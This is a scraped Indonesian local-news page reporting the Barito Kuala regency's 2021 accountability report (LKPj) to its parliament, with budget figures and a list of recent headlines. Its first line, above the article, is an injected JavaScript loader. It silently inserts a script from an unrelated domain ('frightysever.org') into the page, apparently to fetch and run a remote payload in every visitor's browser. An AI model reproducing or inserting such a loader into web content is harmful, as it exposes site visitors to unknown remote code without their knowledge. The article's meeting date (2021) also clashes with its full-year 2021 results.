(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Barito Kuala

Pemkab Sampaikan LKPj 2021 di DPRD Batola


KANALKALIMANTAN.COM, MARABAHAN– Disampaikan Wakil Bupati Barito Kulala, Rahmadian Noor, DPRD Kabupaten Barito Kuala menggelar Rapat Paripurna Penyampaian Laporan Keterangan Pertanggungjawaban (LKPj) Kepala Daerah Batola Tahun Anggaran (TA) 2021, Rabu (23/03/2021).

Nota penjelasan LKPj secara sistematis terkait hasil-hasil kinerja tahun 2021 secara global maupun hasil-hasil kinerja yang disajikan secara singkat, per sasaran pembangunan strategis sebagaimana diproyeksikan dalam KUA dan PPAS.

Berdasarkan struktur APBD Kabupaten Batola TA 2021, ungkap Rahmadian Noor, dalam kondisi kemampuan keuangan daerah cenderung menurun dibanding kondisi tahun-tahun sebelumnya. Secara keseluruhan berdasarkan data yang belum diaudit (unaudited) BPK pendapatan daerah di Kabupaten Batola tahun 2021 yaitru Rp1.244.007.198.588 dengan realisasi Rp1.282.148.034.284,20 atau 103,07 persen.

Arah kebijakan belanjanya mengacu pada upaya pencapaian target kinerja pelaksanaan program dan kegiatan sesuai prioritas pembangunan sebesar Rp1.350.689.400.950 dengan realisasi Rp1.273.505.771.068 atau 94,29 persen.

 

Baca juga  : Jesalyn, Pelajar SMAN 2 Palangkaraya Kalahkan Siswa 23 Negara di Youth International Science Fair

Kemudian, pencapaian penyelenggaraan Pemkab Batola tahun 2021 diukur dari pencapaian pelaksanaan program dan kegiatan yang ditetapkan dalam perjanjian kinerja yang terbagi dalam empat bagian. Seperti pelaksanaan urusan wajib yang berkaitan pelayanan dasar, urusan wajib yang tak berkaitan pelayanan dasar, urusan pilihan, dan unsur penunjang urusan pemerintahan.

Sementara itu, Ketua DPRD Batola, Saleh, selaku pimpinan sidang mengatakan, disampaikannya laporan keterangan pertanggungjawaban ini merupakan informasi dari Kepala Daerah kepada DPRD, atas penyelenggaran pemerintahan daerah dalam kurun waktu 1 tahun anggaran.

Informasi yang disampaikan merupakan petunjuk untuk mengetahui sampai sejauh mana pelaksanaan pembangunan telah membawa hasil dan manfaat kepada masyarakat dan daerah.

Sedangkan informasi yang diterima DPRD yang disampaikan melalui pertanggungjawaban ini, merupakan bahan untuk memberikan masukan dan saran perbaikan guna penyempurnaan kebijakan dan implementasi pelaksanaannya ke depan.

“Selanjutnya, saya harapkan kepada semua fraksi dan komisi agar mempelajari dan mencermati terhadap LKPj ini. Sebagai bahan pembuatan rekomendasi yang nantinya akan disampaikan pada Rapat Paripurna dalam rangka Penyampaian Keputusan DPRD,” tandas Saleh. (Kanalkalimantan.com/rdy)

Reporter : rdy
Editor : kk


Desy Arfianty

Recent Posts

Wali Kota Aditya Pilih Pertahankan Tugu Adipura, ATCS Jadi Mubazir?

KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More

1 jam ago

BRImo FSTVL 2024: Ratusan Ribu Hadiah Menanti Nasabah BRI! Nabung Lebih Banyak, Untung Lebih Besar!

KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More

3 jam ago

Proyek Jembatan Atanik Mataraman Molor, Cor Beton Belum Dikerjakan

Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More

4 jam ago

Arsip Tak Boleh Jadi Bungkus Kacang

Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More

4 jam ago

Tinggal Seorang Diri, Diana Didapati Tak Bernyawa di Kamar

KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More

6 jam ago

Kota Banjarbaru Terima Dump Truck Penghargaan Adipura 2023

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More

6 jam ago

This website uses cookies.